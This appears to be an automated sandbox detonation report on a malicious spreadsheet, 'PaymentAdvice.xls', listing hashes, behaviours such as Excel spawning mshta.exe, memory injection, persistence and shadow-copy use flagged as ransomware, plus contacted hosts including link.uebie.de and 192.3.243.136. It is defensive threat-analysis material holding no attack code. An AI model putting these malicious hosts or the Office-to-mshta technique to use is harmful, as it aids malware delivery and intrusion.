C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1163522206-1469769407-485553996-1000\0f5007522459c86e95ffcc62f32308f1_9d81b961-0275-4281-8321-63119951606b

MD5 d898504a722bff1524134c6ab6a5eaa5
SHA1 e0fdc90c2ca2a0219c99d2758e68c18875a3e11e
SHA256 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9
SHA512 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1163522206-1469769407-485553996-1000\0f5007522459c86e95ffcc62f32308f1_9d81b961-0275-4281-8321-63119951606b

MD5 c07225d4e7d01d31042965f048728a0a
SHA1 69d70b340fd9f44c89adb9a2278df84faa9906b7
SHA256 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a
SHA512 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-18 17:38

Reported

2024-11-18 17:41

Platform

win10v2004-20241007-en

Max time kernel

145s

Max time network

147s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\PaymentAdvice.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\System32\mshta.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1244 wrote to memory of 3980 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\System32\mshta.exe
PID 1244 wrote to memory of 3980 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\System32\mshta.exe

Uses Task Scheduler COM API

persistence

Uses Volume Shadow Copy WMI provider

ransomware

Uses Volume Shadow Copy service COM API

ransomware

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\PaymentAdvice.xls"

C:\Windows\System32\mshta.exe

C:\Windows\System32\mshta.exe -Embedding

Network

Country Destination Domain Proto
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 roaming.officeapps.live.com udp
US 8.8.8.8:53 link.uebie.de udp
US 8.8.8.8:53 240.76.109.52.in-addr.arpa udp
US 8.8.8.8:53 134.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
DE 5.45.108.48:443 link.uebie.de tcp
US 8.8.8.8:53 e6.o.lencr.org udp
GB 88.221.134.89:80 e6.o.lencr.org tcp
IE 52.109.76.243:443 roaming.officeapps.live.com tcp
US 192.3.243.136:80 192.3.243.136 tcp
US 8.8.8.8:53 48.108.45.5.in-addr.arpa udp
US 8.8.8.8:53 168.245.100.95.in-addr.arpa udp
US 8.8.8.8:53 89.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 243.76.109.52.in-addr.arpa udp
US 8.8.8.8:53 136.243.3.192.in-addr.arpa udp
US 8.8.8.8:53 97.17.167.52.in-addr.arpa udp
US 8.8.8.8:53 200.79.70.13.in-addr.arpa udp
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 212.20.149.52.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 0.205.248.87.in-addr.arpa udp
US 8.8.8.8:53 88.210.23.2.in-addr.arpa udp

Files

memory/1244-1-0x00007FFE62CB0000-0x00007FFE62CC0000-memory.dmp

memory/1244-0-0x00007FFEA2CCD000-0x00007FFEA2CCE000-memory.dmp

memory/1244-3-0x00007FFE62CB0000-0x00007FFE62CC0000-memory.dmp

memory/1244-2-0x00007FFE62CB0000-0x00007FFE62CC0000-memory.dmp

memory/1244-4-0x00007FFE62CB0000-0x00007FFE62CC0000-memory.dmp

memory/1244-6-0x00007FFEA2C30000-0x00007FFEA2E25000-memory.dmp

memory/1244-5-0x00007FFEA2C30000-0x00007FFEA2E25000-memory.dmp

memory/1244-10-0x00007FFEA2C30000-0x00007FFEA2E25000-memory.dmp

memory/1244-9-0x00007FFEA2C30000-0x00007FFEA2E25000-memory.dmp

memory/1244-8-0x00007FFEA2C30000-0x00007FFEA2E25000-memory.dmp

memory/1244-11-0x00007FFE607C0000-0x00007FFE607D0000-memory.dmp

memory/1244-7-0x00007FFE62CB0000-0x00007FFE62CC0000-memory.dmp

memory/1244-12-0x00007FFEA2C30000-0x00007FFEA2E25000-memory.dmp

memory/1244-13-0x00007FFE607C0000-0x00007FFE607D0000-memory.dmp

memory/1244-15-0x00007FFEA2C30000-0x00007FFEA2E25000-memory.dmp

memory/1244-14-0x00007FFEA2C30000-0x00007FFEA2E25000-memory.dmp

memory/1244-16-0x00007FFEA2C30000-0x00007FFEA2E25000-memory.dmp

memory/1244-17-0x00007FFEA2C30000-0x00007FFEA2E25000-memory.dmp

memory/1244-21-0x00007FFEA2C30000-0x00007FFEA2E25000-memory.dmp

memory/1244-20-0x00007FFEA2C30000-0x00007FFEA2E25000-memory.dmp

memory/1244-19-0x00007FFEA2C30000-0x00007FFEA2E25000-memory.dmp

memory/1244-18-0x00007FFEA2C30000-0x00007FFEA2E25000-memory.dmp

memory/3980-36-0x00007FFEA2C30000-0x00007FFEA2E25000-memory.dmp

memory/3980-40-0x00007FFEA2C30000-0x00007FFEA2E25000-memory.dmp

memory/3980-45-0x00007FFEA2C30000-0x00007FFEA2E25000-memory.dmp

memory/3980-46-0x00007FFEA2C30000-0x00007FFEA2E25000-memory.dmp

memory/3980-47-0x00007FFEA2C30000-0x00007FFEA2E25000-memory.dmp

memory/1244-49-0x00007FFEA2C30000-0x00007FFEA2E25000-memory.dmp

memory/1244-50-0x00007FFEA2CCD000-0x00007FFEA2CCE000-memory.dmp

memory/1244-51-0x00007FFEA2C30000-0x00007FFEA2E25000-memory.dmp

memory/3980-55-0x00007FFEA2C30000-0x00007FFEA2E25000-memory.dmp

memory/3980-56-0x00007FF606250000-0x00007FF606258000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

MD5 650cd9f4e44a3ba887d569025f27bc10
SHA1 1e37a584f593273756c9d347c486cae9333f2cbd
SHA256 f838cea60c4cf7d07abed1668bac485b5978338224ba7fad4c41d0df9a6fafc7
SHA512 308e8ca32bde29e20fc327ea8f0e4069039ce4881ab8ad5e04592952ab0d98388b960f216769192f0421fc1ec49f925411ffccc6e57302cfcf5dc592cb8b4226